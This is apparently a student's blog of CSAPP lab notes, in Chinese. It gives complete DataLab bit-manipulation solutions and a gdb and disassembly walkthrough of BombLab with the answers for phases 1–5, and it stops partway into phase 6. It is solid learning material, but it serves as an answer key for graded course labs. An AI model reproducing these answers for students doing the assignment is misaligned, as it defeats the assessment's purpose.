CSAPP-Labs
本文用来记录我的CSAPP实验代码,坚持坚持坚持!
Lab网址:http://csapp.cs.cmu.edu/3e/labs.html , 下载Self-Study Handout
网课:https://www.bilibili.com/video/BV1iW411d7hd
我的代码仓库:https://github.com/Lyb-code/CSAPP-Labs
Lab1 DataLab
1 代码
//1
/*
* bitXor - x^y using only ~ and &
* Example: bitXor(4, 5) = 1
* Legal ops: ~ &
* Max ops: 14
* Rating: 1
*/
int bitXor(int x, int y) {
int z = x & y; // Bit[1, 1] -> 1
int w = (~x) & (~y); // Bit[0, 0] -> 1
return (~z) & (~w); // Bit[1, 0], [0, 1] -> 1
}
/*
* tmin - return minimum two's complement integer
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 4
* Rating: 1
*/
int tmin(void) {
int x = (0x80) << 24;
return x;
}
//2
/*
* isTmax - returns 1 if x is the maximum, two's complement number,
* and 0 otherwise
* Legal ops: ! ~ & ^ | +
* Max ops: 10
* Rating: 1
*/
int isTmax(int x) { // Tmax + 1 = 0x10000000 = ~Tmax. Remember to exclude the case of x = -1.
int k = x + 1;
int m = k ^ (~x);// when x = -1 or Tmax, m = 0
return (!!k) & !m;
}
/*
* allOddBits - return 1 if all odd-numbered bits in word set to 1
* where bits are numbered from 0 (least significant) to 31 (most significant)
* Examples allOddBits(0xFFFFFFFD) = 0, allOddBits(0xAAAAAAAA) = 1
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 12
* Rating: 2
*/
int allOddBits(int x) {
int k = 0xAA;
k = (k << 8) | k;
k = (k << 16) | k;//0xAAAAAAAA
x = x & k; // remove all even-numbered bits of x
return ! (x ^ k);
}
/*
* negate - return -x
* Example: negate(1) = -1.
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 5
* Rating: 2
*/
int negate(int x) {
return (~x) + 1;
}
//3
/*
* isAsciiDigit - return 1 if 0x30 <= x <= 0x39 (ASCII codes for characters '0' to '9')
* Example: isAsciiDigit(0x35) = 1.
* isAsciiDigit(0x3a) = 0.
* isAsciiDigit(0x05) = 0.
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 15
* Rating: 3
*/
int isAsciiDigit(int x) {
int a = (x ^ 0x30) >> 4;
int b = (x & 0x8) >> 3;
int c = (x & 0x4) >> 2;
int d = (x & 0x2) >> 1;
return ! ((a) | (b & c) | (b & d));// return 1 if a = 0 And b & c = 0 And c & d = 0;
}
/*
* conditional - same as x ? y : z
* Example: conditional(2,4,5) = 4
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 16
* Rating: 3
*/
int conditional(int x, int y, int z) {
int a = !x; // [x->a] 0->1, others->0
a = (a << 1 | a);
a = (a << 2 | a);
a = (a << 4 | a);
a = (a << 8 | a);
a = (a << 16 | a);
return ((~a) & y) + (a & z);
}
/*
* isLessOrEqual - if x <= y then return 1, else return 0
* Example: isLessOrEqual(4,5) = 1.
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 24
* Rating: 3
*/
int isLessOrEqual(int x, int y) {
int k = 0x80 << 24;
int hbx = x & k; // keep only the highest bit of x
int hby = y & k; // keep only the highest bit of y
int hbEqual = !(hbx ^ hby);// if highest bits are equal, return 1
int z = x + (~y) + 1;// x - y;
int ans1 = (!hbEqual) & ((hbx >> 31) & 1);// if hbEqual = 0, use hbx to judge to prevent overflow of z.
int ans2 = hbEqual & (((z >> 31) & 1) | (!(z ^ 0)));
return ans1 + ans2;
}
//4
/*
* logicalNeg - implement the ! operator, using all of
* the legal operators except !
* Examples: logicalNeg(3) = 0, logicalNeg(0) = 1
* Legal ops: ~ & ^ | + << >>
* Max ops: 12
* Rating: 4
*/
int logicalNeg(int x) {
x = (x >> 16) | x;
x = (x >> 8) | x;
x = (x >> 4) | x;
x = (x >> 2) | x;
x = (x >> 1) | x;
return (~x) & 1;
}
/* howManyBits - return the minimum number of bits required to represent x in
* two's complement
* Examples: howManyBits(12) = 5
* howManyBits(298) = 10
* howManyBits(-5) = 4
* howManyBits(0) = 1
* howManyBits(-1) = 1
* howManyBits(0x80000000) = 32
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 90
* Rating: 4
*/
int howManyBits(int x) {
int b16, b8, b4, b2, b1;
int sign = x>>31; // all 1 or all 0
x = ((~sign) & x) | (sign & (~x));// x < 0 --> ~x ; x > 0 --> x;
b16 = (!!(x >> 16)) << 4;// If the upper 16 bits have 1, at least the lower 16(1<<4) bits are required.
x = x >> b16;
b8 = (!!(x >> 8)) << 3;// If the remaning top 8 bits have 1, at least the lower 8(1<<3) bits are required.
x = x >> b8;
b4 = (!!(x >> 4)) << 2;// narrow the scope
x = x >> b4;
b2 = (!!(x >> 2)) << 1;
x = x >> b2;
b1 = (!!(x >> 1));
x = x >> b1;
return b16 + b8 + b4 + b2 + b1 + x + 1;
}
//float
/*
* floatScale2 - Return bit-level equivalent of expression 2*f for
* floating point argument f.
* Both the argument and result are passed as unsigned int's, but
* they are to be interpreted as the bit-level representation of
* single-precision floating point values.
* When argument is NaN, return argument
* Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
* Max ops: 30
* Rating: 4
*/
unsigned floatScale2(unsigned uf) {
int sign = 0x80000000 & uf;
int exp = (0x7f800000 & uf) >> 23;
int frac = 0x7fffff & uf;
if (exp == 0xff) {// NaN and infinity: do nothing
} else if (exp == 0) {// Denormalized value
if ((frac >> 22) == 0) {
frac = frac << 1;
} else {
exp = 1;
frac = (frac << 1) & 0x007fffff;
}
} else {//Normalized value
exp += 1;
}
uf = sign | (exp << 23) | frac;
return uf;
}
/*
* floatFloat2Int - Return bit-level equivalent of expression (int) f
* for floating point argument f.
* Argument is passed as unsigned int, but
* it is to be interpreted as the bit-level representation of a
* single-precision floating point value.
* Anything out of range (including NaN and infinity) should return
* 0x80000000u.
* Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
* Max ops: 30
* Rating: 4
*/
int floatFloat2Int(unsigned uf) {
int sign = uf >> 31;
int exp = (0x7f800000 & uf) >> 23;
int bias = (1 << 7) - 1;
int E = 0, ans = 0;
int frac = 0x7fffff & uf;
if (exp == 0xff) {// NaN and infinity
return 0x80000000u;
} else if (exp == 0) {// Denormalized value
E = 1 - bias;
} else {//Normalized value
E = exp - bias;
frac |= 0x800000;
}
//printf("%d %d \n", E, frac);
if (E > 30) { // prevent left shift overflow
return 0x80000000u;
} else if (E > 23) {
ans = frac << (E - 23);
} else if (E > -9) {// prevent the right shift length from being greater than 32
ans = frac >> (23 - E);
}
if (sign) {
ans = -ans;
}
return ans;
}
/*
* floatPower2 - Return bit-level equivalent of the expression 2.0^x
* (2.0 raised to the power x) for any 32-bit integer x.
*
* The unsigned value that is returned should have the identical bit
* representation as the single-precision floating-point number 2.0^x.
* If the result is too small to be represented as a denorm, return
* 0. If too large, return +INF.
*
* Legal ops: Any integer/unsigned operations incl. ||, &&. Also if, while
* Max ops: 30
* Rating: 4
*/
unsigned floatPower2(int x) {
int bias = 127;
if (x > 128) {
return 0x7f800000;
} else if (x > -150) {
x += bias;
if (x >= 0) { // Normalize
return x << 23;
} else { // Denormalize
return 1 << (23 + x);
}
} else {
return 0;
}
}
2 代码说明
-
allOddBits构造了一个奇数位全1的掩码 k
-
isAsciiDigit的思路是看形参x是不是"0x3m"的形式,且m处于0到9之间。
我觉得这样做的推广性不强,当范围变大之后就能难再这样做。CSAPP 之 DataLab详解链接提供了一个更有推广性的解,如下:
int isAsciiDigit(int x) { int sign = 0x1<<31; int upperBound = ~(sign|0x39);//加上比0x39大的数后符号由正变负 int lowerBound = ~0x30;//加上小于等于0x30的值时是负数 upperBound = sign&(upperBound+x)>>31; lowerBound = sign&(lowerBound+1+x)>>31; return !(upperBound|lowerBound); }
-
conditional的思路是正确的,不过可以更简洁。!!x挺好用的。
int conditional(int x, int y, int z) { x = !!x; // 0->0, others->1 x = ~x + 1; //0的补码是全0,1的补码是全1 return (x & y) + ((~x) & z); }
-
isLessOrEqual思路:符号不同,正数大;符号相同,看差值符号
-
logicalNeg思路:使用或操作,把所有的1都压缩到第一位。
可以更简洁,如下。利用了补码的性质:0和tmin(1后面全0)的补码是本身,其余整数的补码是自己的相反数。只有当x为0时,x和其补码的或操作得到的符号位才会是0,其余情况都是1.
int logicalNeg(int x) { return ((x | (~x + 1)) >> 31) & 1 ^ 1; }
-
howManyBits,卡住我的一题。思路就是找与符号位不同的最高位n,然后用该位数加1得n+1.
首先,做了个处理,如果x的符号位为0,x不变;否则对x取反。解题目标简化为:找最高的1位的位数n,然后用该位数加1。
不断地判断x的最高16、8、4、2、1位和最低1位是否有1,用**!!**可以很方便判断二进制数是否含有1。如果最高16位有1,那么最低16位肯定需要,答案加上16,并将x右移16位,查看接下来的最高8位…如果最高16位没有1,那么x不右移,直接看x低16位的最高8位…依次类推。实现是很巧妙的,我开始没想到。
-
floatScale2、floatFloat2Int和floatPower2考察浮点数,做起来比想象的顺利,因为可以用if、while等操作符了。关键是对浮点数的结构有了解,知道Normolize Value和Denormolize Value是啥,可以看看网课或书本,实现起来就能分情况讨论了。具体见代码和注释。
当位移操作的长度大于等于窗口长度时,得到的移动量为(位移长度%窗口长度),这是看弹幕知道的,看书时可以再验证。Undefined Behavior: Shift amount < 0 or ≥ word size。因此,不要做出移位数量小于0或大于窗口长度的操作。我在floatFloat2Int方法中排除了这两种情况。
-
其他函数,直接看代码,参考注释即可
3 总结
CMU老师说“任何形式的搜索都是作弊”,因此实验一定要自己做!!!!先找资料、看网课,不到最后一步,不看别人的代码。
除了howManyBits外,所有的问题都是我自己解决的,对位操作、浮点型的表示更加熟悉了,还是不错的。howManyBits实在没有思路了,借鉴了网友的解答。所以,作弊了一小点点(4/36)。
注意实验总结,享受思考总结的过程,多学习优秀的代码。
本次实验耗时:22.5h。
Lab2 BombLab
这次实验的目的是让我们对汇编代码和gdb调试更加熟悉,不涉及代码。实验文件只有一个bomb可执行文件和一个bomb.c文件,bomb.c告诉了我们大概的结构:拆炸弹共有六关(其实还有个神秘关),每关都读取输入,传给特定的函数如phase_1(input),传错了就BOOM!!!但这些特定函数的源代码是没有给我们的,我们需要通过反汇编,去理解bomb程序的每一关到底是想干什么。
一些有用的资料
-
Lab说明链接:
http://csapp.cs.cmu.edu/3e/bomblab.pdf
-
gdb参考链接:
http://beej.us/guide/bggdb/
http://csapp.cs.cmu.edu/3e/docs/gdbnotes-x86-64.pdf 精简,两页pdf命令
-
寄存器的使用情况,如下图。%rdi存第一个参数,%rsi存第二个参数…%ras存返回值。
- 寄存器的结构
-
一些技巧
-
看汇编代码时,一些标准库的函数,比如sccanf,想知道它的返回值、参数等情况、直接查就完事了,看汇编代码太复杂。
-
严格区分mov命令和lea命令:参考https://www.zhihu.com/question/40720890
lea 0x8(%ebx), %eax就是将%ebx+8这个值直接赋给%eax,而不是把ebx+8处的内存地址里的数据赋给eax。
mov 0x8(%ebx), %eax则是把内存地址为%ebx+8处的数据赋给%eax。
-
1 实验步骤
首先在bomb可执行程序的文件夹下用objdump指令,生成一些有用的文件:
- objdump -d bomb > bombDisassembler.txt 生成bomb可执行程序的汇编代码,并写入到bombDisassembler.txt
- objdump -t bomb > bombSymbolTable.txt 生成bomb可执行程序的符号表(包括bomb的全局变量的名称和函数的名称及地址),并写入到bombSymbolTable.txt
- strings bomb > bombstrings.txt 展示bomb可执行程序的 printable strings
1.1 phase1
bit.c:其他阶段的也是这样调用的,读取一个输入,传给阶段函数,解炸弹,继续下一关或bomb!
input = read_line(); /* Get input */
phase_1(input); /* Run the phase */
phase_defused(); /* Drat! They figured it out!
汇编代码
0000000000400da0 <main>:
...
400e32: e8 67 06 00 00 callq 40149e <read_line>
400e37: 48 89 c7 mov %rax,%rdi
400e3a: e8 a1 00 00 00 callq 400ee0 <phase_1>
400e3f: e8 80 07 00 00 callq 4015c4 <phase_defused>
...
0000000000400ee0 <phase_1>:
400ee0: 48 83 ec 08 sub $0x8,%rsp
400ee4: be 00 24 40 00 mov $0x402400,%esi
400ee9: e8 4a 04 00 00 callq 401338 <strings_not_equal>
400eee: 85 c0 test %eax,%eax
400ef0: 74 05 je 400ef7 <phase_1+0x17>
400ef2: e8 43 05 00 00 callq 40143a <explode_bomb>
400ef7: 48 83 c4 08 add $0x8,%rsp
400efb: c3 retq
从上述代码可以看到,main函数将从命令窗口读取的输入从%rax移给了%rdi(第一个参数的寄存器),phase_1函数然后将$0x402400传给了%esi(第二个参数的寄存器的低32位),然后调用strings_not_equal函数,如果结果为0(即字符串相等),则成功,否则爆炸。简言之就是,如果控制台输入等于$0x402400代表的字符串,就通过。问题转化为:$0x402400代表什么字符串?通过gdb调试,可以得出结果,如下:
(gdb) print (char*)0x402400
$1 = 0x402400 "Border relations with Canada have never been better."
第一关的解是"Border relations with Canada have never been better.",不包含引号。
1.2 phase2
汇编代码
0000000000400efc <phase_2>:
400efc: 55 push %rbp
400efd: 53 push %rbx
400efe: 48 83 ec 28 sub $0x28,%rsp
400f02: 48 89 e6 mov %rsp,%rsi
400f05: e8 52 05 00 00 callq 40145c <read_six_numbers>
400f0a: 83 3c 24 01 cmpl $0x1,(%rsp)
400f0e: 74 20 je 400f30 <phase_2+0x34>
400f10: e8 25 05 00 00 callq 40143a <explode_bomb>
400f15: eb 19 jmp 400f30 <phase_2+0x34>
400f17: 8b 43 fc mov -0x4(%rbx),%eax
400f1a: 01 c0 add %eax,%eax
400f1c: 39 03 cmp %eax,(%rbx)
400f1e: 74 05 je 400f25 <phase_2+0x29>
400f20: e8 15 05 00 00 callq 40143a <explode_bomb>
400f25: 48 83 c3 04 add $0x4,%rbx
400f29: 48 39 eb cmp %rbp,%rbx
400f2c: 75 e9 jne 400f17 <phase_2+0x1b>
400f2e: eb 0c jmp 400f3c <phase_2+0x40>
400f30: 48 8d 5c 24 04 lea 0x4(%rsp),%rbx
400f35: 48 8d 6c 24 18 lea 0x18(%rsp),%rbp
400f3a: eb db jmp 400f17 <phase_2+0x1b>
400f3c: 48 83 c4 28 add $0x28,%rsp
400f40: 5b pop %rbx
400f41: 5d pop %rbp
400f42: c3 retq
- 从400f05地址的命令callq 40145c <read_six_numbers>猜想(可以stepi验证,里面有个sccanf函数),我们需要传入六个数字,它们满足一定的要求。
- 调用完<read_six_numbers>,我们传入的数字被依次存放在%rsp、%rsp+4、%rsp+8…%rsp+20处。
- 然后cmpl $0x1,(%rsp),相等则跳到400f30地址,不相等就callq 40143a <explode_bomb>引爆炸弹。说明第一个数字必须是1。
- 从400f30地址开始,lea地址计算得出%rbx = %rsp + 0x4 、%rbp = %rsp + 0x18。然后jmp跳转到400f17地址
- 从400f17地址到400f1c地址是在拿(%rbx) 和 2 * (%rbx - 4)作比较,括号代表该地址处的数据。如果相等,跳转到400f25地址,否则callq 40143a <explode_bomb>爆炸。从400f25地址到400f2e地址的代码等价于:%rbx += 0x4,比较%rbx 和%rbp,如果不相等,回到400f17地址继续循环,如果相等,跳到400f3c进而结束程序。这说明后一个数字(%rbx - 4)必须是前一个数字(%rbx) 的两倍。
第二关的解是 “1 2 4 8 16 32”,不包含引号。
1.3 phase3
汇编代码:
0000000000400f43 <phase_3>:
400f43: 48 83 ec 18 sub $0x18,%rsp
400f47: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx
400f4c: 48 8d 54 24 08 lea 0x8(%rsp),%rdx
400f51: be cf 25 40 00 mov $0x4025cf,%esi
400f56: b8 00 00 00 00 mov $0x0,%eax
400f5b: e8 90 fc ff ff callq 400bf0 <__isoc99_sscanf@plt>
400f60: 83 f8 01 cmp $0x1,%eax
400f63: 7f 05 jg 400f6a <phase_3+0x27>
400f65: e8 d0 04 00 00 callq 40143a <explode_bomb>
400f6a: 83 7c 24 08 07 cmpl $0x7,0x8(%rsp)
400f6f: 77 3c ja 400fad <phase_3+0x6a>
400f71: 8b 44 24 08 mov 0x8(%rsp),%eax
400f75: ff 24 c5 70 24 40 00 jmpq *0x402470(,%rax,8)
400f7c: b8 cf 00 00 00 mov $0xcf,%eax
400f81: eb 3b jmp 400fbe <phase_3+0x7b>
400f83: b8 c3 02 00 00 mov $0x2c3,%eax
400f88: eb 34 jmp 400fbe <phase_3+0x7b>
400f8a: b8 00 01 00 00 mov $0x100,%eax
400f8f: eb 2d jmp 400fbe <phase_3+0x7b>
400f91: b8 85 01 00 00 mov $0x185,%eax
400f96: eb 26 jmp 400fbe <phase_3+0x7b>
400f98: b8 ce 00 00 00 mov $0xce,%eax
400f9d: eb 1f jmp 400fbe <phase_3+0x7b>
400f9f: b8 aa 02 00 00 mov $0x2aa,%eax
400fa4: eb 18 jmp 400fbe <phase_3+0x7b>
400fa6: b8 47 01 00 00 mov $0x147,%eax
400fab: eb 11 jmp 400fbe <phase_3+0x7b>
400fad: e8 88 04 00 00 callq 40143a <explode_bomb>
400fb2: b8 00 00 00 00 mov $0x0,%eax
400fb7: eb 05 jmp 400fbe <phase_3+0x7b>
400fb9: b8 37 01 00 00 mov $0x137,%eax
400fbe: 3b 44 24 0c cmp 0xc(%rsp),%eax
400fc2: 74 05 je 400fc9 <phase_3+0x86>
400fc4: e8 71 04 00 00 callq 40143a <explode_bomb>
400fc9: 48 83 c4 18 add $0x18,%rsp
400fcd: c3 retq
第三关一上来就有个sccanf函数(400f5b地址),有了第二关的经验,知道是要我们输入一些东西。
400f51地址往%esi寄存器设置了一个值,作为sccanf的第二个参数,把它打印出来:
(gdb) print ((char*)0x4025cf)
$3 = 0x4025cf "%d %d"
这下可以确定,第二关要求我们输入两个整数。(注意:最好输入一些特殊一点的值,那么在调式时,知道代码是拿着哪个值在做比较、计算等,我输入1和234两个数)。输入两个整数后,sscanf返回成功赋值的个数,即%eax = 2,故大于1,将跳转到400f6a地址。
400f6a: 83 7c 24 08 07 cmpl $0x7,0x8(%rsp)
400f6f: 77 3c ja 400fad <phase_3+0x6a>
400f71: 8b 44 24 08 mov 0x8(%rsp),%eax
400f75: ff 24 c5 70 24 40 00 jmpq *0x402470(,%rax,8)
以上这四句是本关的难点。首先拿%rsp + 8处的值(打印出来是1,即第一个输入的数)和0x7比较,如果是无符号大于ja,跳转到400fad(调用爆炸函数),否则将%rsp + 8处的值赋给%eax,然后无条件跳转到0x402470 + 8 * %rax处。如果看过网课或书,根据ja和无条件跳转的地址的特征,不难看出这是一个switch语句。并且我们知道了第一个输入值必须处于0到7之间。
继续调试setpi,代码来到400fb9地址处。下面这四句就是说,拿%rsp+0xc地址处的值和0x137做比较,相等就跳转进而函数结束,否则爆炸。这好办,先打印出%rsp+0xc地址处的值,通过info r命令,查看出rsp的当前值为0x7fffffffdfa0,然后print *0x7fffffffdfac即可。打出来发现是234,就是我输入的第二个值,因此在第一个输入值是1的情况下,第二个输入值必须是0x137。
400fb9: b8 37 01 00 00 mov $0x137,%eax
400fbe: 3b 44 24 0c cmp 0xc(%rsp),%eax
400fc2: 74 05 je 400fc9 <phase_3+0x86>
400fc4: e8 71 04 00 00 callq 40143a <explode_bomb>
故,第三关的解是"1 311",不包含引号。
注意,第三关的解不唯一,按照同样的调试流程,我第一个输入值设为4,第二个输入值就必须是0x185,即"4 389"也是可行解。其余的输入值为0-7的情况就不一个个尝试了。
1.4 phase4
汇编代码:
000000000040100c <phase_4>:
40100c: 48 83 ec 18 sub $0x18,%rsp
401010: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx
401015: 48 8d 54 24 08 lea 0x8(%rsp),%rdx
40101a: be cf 25 40 00 mov $0x4025cf,%esi
40101f: b8 00 00 00 00 mov $0x0,%eax
401024: e8 c7 fb ff ff callq 400bf0 <__isoc99_sscanf@plt>
401029: 83 f8 02 cmp $0x2,%eax
40102c: 75 07 jne 401035 <phase_4+0x29>
40102e: 83 7c 24 08 0e cmpl $0xe,0x8(%rsp)
401033: 76 05 jbe 40103a <phase_4+0x2e>
401035: e8 00 04 00 00 callq 40143a <explode_bomb>
40103a: ba 0e 00 00 00 mov $0xe,%edx# 相当于直接赋值
40103f: be 00 00 00 00 mov $0x0,%esi
401044: 8b 7c 24 08 mov 0x8(%rsp),%edi
401048: e8 81 ff ff ff callq 400fce <func4>
40104d: 85 c0 test %eax,%eax
40104f: 75 07 jne 401058 <phase_4+0x4c>
401051: 83 7c 24 0c 00 cmpl $0x0,0xc(%rsp)
401056: 74 05 je 40105d <phase_4+0x51>
401058: e8 dd 03 00 00 callq 40143a <explode_bomb>
40105d: 48 83 c4 18 add $0x18,%rsp
401061: c3 retq
同phase3的分析,phase4一上来就用sscanf读取我们的输入:sscanf的第一个参数%rdi为命令窗口的输入、第二个参数%rsi是0x4025cf(phase3打印过,就是"%d %d")、第三个参数%rdx为%rsp+8、第四个参数%rcx为%rsp+c。sscanf会将%rdi的内容,按%rsi的格式,解析出两个整数分别存到%rdx和%rcx对应的内存【Mem[%rsp+8]和Mem[%rsp+c]】中,输出为成功解析的个数、存在%rax中。因此,phase4要求我们输入两个特殊的整数。
从地址40102e到401035的命令得出,做无符号比较时、第一个输入值必须小于等于0xe,因此第一个输入值大于等0小于等于14。这样才能jbe跳转到40103a,而不是调用explode_bomb函数。
从地址40103a到401048,先设置参数:第三个参数设置为0xe;第二个参数设置为0x0;第一个参数设置为Mem[%rsp+8],即我们的第一个输入值。然后调用func4。
调用fun4结束后,返回40104d地址开始执行,先会判断func4的返回值是否为0:不为0就跳到401058地址爆炸;为0就继续比较Mem[%rsp+c]和0,相等就程序结束,不相等就爆炸。
因此,需要让func4的返回值为0,且调用完func4后Mem[%rsp+c]为0。
fun4的汇编代码如下。这是一个递归函数,且不存在对Mem[%rsp+c]的修改,首先可以确定第二个输入值为0。可以根据下列汇编代码,先在草稿纸上写出伪代码再debug,通过伪代码分析知道递归过程中不能出现x > average的情况,这种情况的递归返回结果不可能为0,因为它必然会+1。只有两种情况是符合的:
- 直接返回。可以发现,当第一个参数%rdi的值为7时(14和0,很自然联想到取个平均),会令%eax为0,并且不进入递归直接返回0
- 递归过程中x均小于average,最后等于average返回。这种情况下,average随着递归的变化情况如下:7、3、1、0
故第一个参数的可行解为7、3、1、0,即Mem[%rsp+8]为7,第一个输入值为7、3、1、0中的任何一个。
0000000000400fce <func4>:# fun4(x, y, z), 初始y = 0, z = 14
400fce: 48 83 ec 08 sub $0x8,%rsp
400fd2: 89 d0 mov %edx,%eax # z
400fd4: 29 f0 sub %esi,%eax # z - y
400fd6: 89 c1 mov %eax,%ecx
400fd8: c1 e9 1f shr $0x1f,%ecx # 逻辑右移,得到%ecx符号位
400fdb: 01 c8 add %ecx,%eax # z - y + (z - y < 0 ? 1 : 0)
400fdd: d1 f8 sar %eax # (z - y + (z - y < 0 ? 1 : 0)) / 2
400fdf: 8d 0c 30 lea (%rax,%rsi,1),%ecx# (z - y + (z - y < 0 ? 1 : 0)) / 2 + y = average(z, y)
400fe2: 39 f9 cmp %edi,%ecx
400fe4: 7e 0c jle 400ff2 <func4+0x24> # average(z, y) <= x 吗
400fe6: 8d 51 ff lea -0x1(%rcx),%edx
400fe9: e8 e0 ff ff ff callq 400fce <func4>
400fee: 01 c0 add %eax,%eax
400ff0: eb 15 jmp 401007 <func4+0x39>
400ff2: b8 00 00 00 00 mov $0x0,%eax
400ff7: 39 f9 cmp %edi,%ecx
400ff9: 7d 0c jge 401007 <func4+0x39> # average(z, y) >= x 吗
400ffb: 8d 71 01 lea 0x1(%rcx),%esi
400ffe: e8 cb ff ff ff callq 400fce <func4>
401003: 8d 44 00 01 lea 0x1(%rax,%rax,1),%eax
401007: 48 83 c4 08 add $0x8,%rsp
40100b: c3 retq
伪代码
int fun4(x, y, z) {
int average = (z - y + ((z - y) < 0 ? 1 : 0)) / 2 + y;
if (x == average) {
return 0;
} else if (x > average) {
return 2 * fun4(x, average + 1, z) + 1;
} else {
return 2 * fun4(x, y, average - 1);
}
}
第四关的一个解是 “7 0”,不包含引号。第一个值为7、3、1、0中的任何一个都可以。
1.5 phase5
汇编代码:
0000000000401062 <phase_5>:
401062: 53 push %rbx
401063: 48 83 ec 20 sub $0x20,%rsp
401067: 48 89 fb mov %rdi,%rbx
40106a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401071: 00 00
401073: 48 89 44 24 18 mov %rax,0x18(%rsp)
401078: 31 c0 xor %eax,%eax
40107a: e8 9c 02 00 00 callq 40131b <string_length>
40107f: 83 f8 06 cmp $0x6,%eax
401082: 74 4e je 4010d2 <phase_5+0x70>
401084: e8 b1 03 00 00 callq 40143a <explode_bomb>
401089: eb 47 jmp 4010d2 <phase_5+0x70>
40108b: 0f b6 0c 03 movzbl (%rbx,%rax,1),%ecx
40108f: 88 0c 24 mov %cl,(%rsp)
401092: 48 8b 14 24 mov (%rsp),%rdx
401096: 83 e2 0f and $0xf,%edx
401099: 0f b6 92 b0 24 40 00 movzbl 0x4024b0(%rdx),%edx
4010a0: 88 54 04 10 mov %dl,0x10(%rsp,%rax,1)
4010a4: 48 83 c0 01 add $0x1,%rax
4010a8: 48 83 f8 06 cmp $0x6,%rax
4010ac: 75 dd jne 40108b <phase_5+0x29>
4010ae: c6 44 24 16 00 movb $0x0,0x16(%rsp)# 字符数组0结尾
4010b3: be 5e 24 40 00 mov $0x40245e,%esi
4010b8: 48 8d 7c 24 10 lea 0x10(%rsp),%rdi
4010bd: e8 76 02 00 00 callq 401338 <strings_not_equal>
4010c2: 85 c0 test %eax,%eax
4010c4: 74 13 je 4010d9 <phase_5+0x77>
4010c6: e8 6f 03 00 00 callq 40143a <explode_bomb>
4010cb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
4010d0: eb 07 jmp 4010d9 <phase_5+0x77>
4010d2: b8 00 00 00 00 mov $0x0,%eax
4010d7: eb b2 jmp 40108b <phase_5+0x29>
4010d9: 48 8b 44 24 18 mov 0x18(%rsp),%rax
4010de: 64 48 33 04 25 28 00 xor %fs:0x28,%rax
4010e5: 00 00
4010e7: 74 05 je 4010ee <phase_5+0x8c>
4010e9: e8 42 fa ff ff callq 400b30 <__stack_chk_fail@plt>
4010ee: 48 83 c4 20 add $0x20,%rsp
4010f2: 5b pop %rbx
4010f3: c3 retq
首先,看40106a地址,有个**%fs:0x28**,这是什么?可以把它理解成"从某一内存区域取出来的随机数",它的用处是实现"stack canary",简单来说就是用来防止缓冲区溢出的。401073地址的命令将这个随机数存到了%rsp+24地址。如果我们从%rsp地址开始写入的数据太多,"污染"了%rsp+24地址的数,那么程序在最后拿着%rsp+24地址的数和%fs:0x28随机数进行比较时(上述代码4010de地址到4010e9地址),就会发现两数不相等,从而判断“你写的数据太多啦!”,程序结束,打印错误消息。
从40107a地址到401084地址的命令可以知道,输入字符串的长度为6,然后跳到4010d2。否则爆炸。
从40108b地址到4010ac地址是本关的关键,这一系列命令实现了一个循环:
-
每次从Mem(%rbx+%rax)取出一个字节,其中%rbx是我们输入字符串的开始地址,也就是说每次取出我们输入字符串的一个字符。注意:40108b地址的movzbl命令,只移动(%rbx,%rax,1)即Mem(%rbx+%rax)的最低一字节,然后赋给%ecx并对高位填充0。而不是移动所有字节。可以通过gdb的print命令验证。
-
然后使用与操作,保存该字节的低4位,将结果存到%rdx中。
-
然后从**0x4024b0(%rdx)**地址取出一个字节,并将它存到Mem(%rsp+%rax+0x10)处。
问题来了,0x4024b0(%rdx)地址是什么东西?这种形式是典型的访问数组,Mem(0x4024b0+%rdx)。查符号表可以发现0x4024b0地址是一个数组的起始地址,也可以在gdb中把它打印出来,如下。举个例子,%rdx为1时,取出的就是字符’a’。
(gdb) print (char*)0x4024b0 $94 = 0x4024b0 <array> "maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"
-
%rax初始为0,循环一次自增一次,直到%rax等于6时退出。
循环退出后,会拿着起始地址为%rsp+0x10的字符串(循环过程写入的字符串)和$0x40245e(打印出来发现是"flyers")作比较,不相等就爆炸,相等就正常运行直至结束。
综上,输入字符串有6个字符,且每个字符的字节表示的低4位分别是9、15、14、5、6、7。查ascii表,找出六个这样的字符即可。
第五关的可行解是"9?>567",不包含引号。
1.6 phase6
汇编代码:
00000000004010f4 <phase_6>:
4010f4: 41 56 push %r14
4010f6: 41 55 push %r13
4010f8: 41 54 push %r12
4010fa: 55 push %rbp
4010fb: 53 push %rbx
4010fc: 48 83 ec 50 sub $0x50,%rsp
401100: 49 89 e5 mov %rsp,%r13
401103: 48 89 e6 mov %rsp,%rsi
401106: e8 51 03 00 00 callq 40145c <read_six_numbers>
40110b: 49 89 e6 mov %rsp,%r14
40110e: 41 bc 00 00 00 00 mov $0x0,%r12d
401114: 4c 89 ed mov %r13,%rbp
401117: 41 8b 45 00 mov 0x0(%r13),%eax
40111b: 83 e8 01 sub $0x1,%eax
40111e: 83 f8 05 cmp $0x5,%eax
401121: 76 05 jbe 401128 <phase_6+0x34>
401123: e8 12 03 00 00 callq 40143a <explode_bomb>
401128: 41 83 c4 01 add $0x1,%r12d
40112c: 41 83 fc 06 cmp $0x6,%r12d
401130: 74 21 je 401153 <phase_6+0x5f>
401132: 44 89 e3 mov %r12d,%ebx
401135: 48 63 c3 movslq %ebx,%rax
401138: 8b 04 84 mov (%rsp,%rax,4),%eax
40113b: 39 45 00 cmp %eax,0x0(%rbp)
40113e: 75 05 jne 401145 <phase_6+0x51>
401140: e8 f5 02 00 00 callq 40143a <explode_bomb>
401145: 83 c3 01 add $0x1,%ebx
401148: 83 fb 05 cmp $0x5,%ebx
40114b: 7e e8 jle 401135 <phase_6+0x41>
40114d: 49 83 c5 04 add $0x4,%r13
401151: eb c1 jmp 401114 <phase_6+0x20>
401153: 48 8d 74 24 18 lea 0x18(%rsp),%rsi
401158: 4c 89 f0 mov %r14,%rax
40115b: b9 07 00 00 00 mov $0x7,%ecx
401160: 89 ca mov %ecx,%edx
401162: 2b 10 sub (%rax),%edx
401164: 89 10 mov %edx,(%rax)
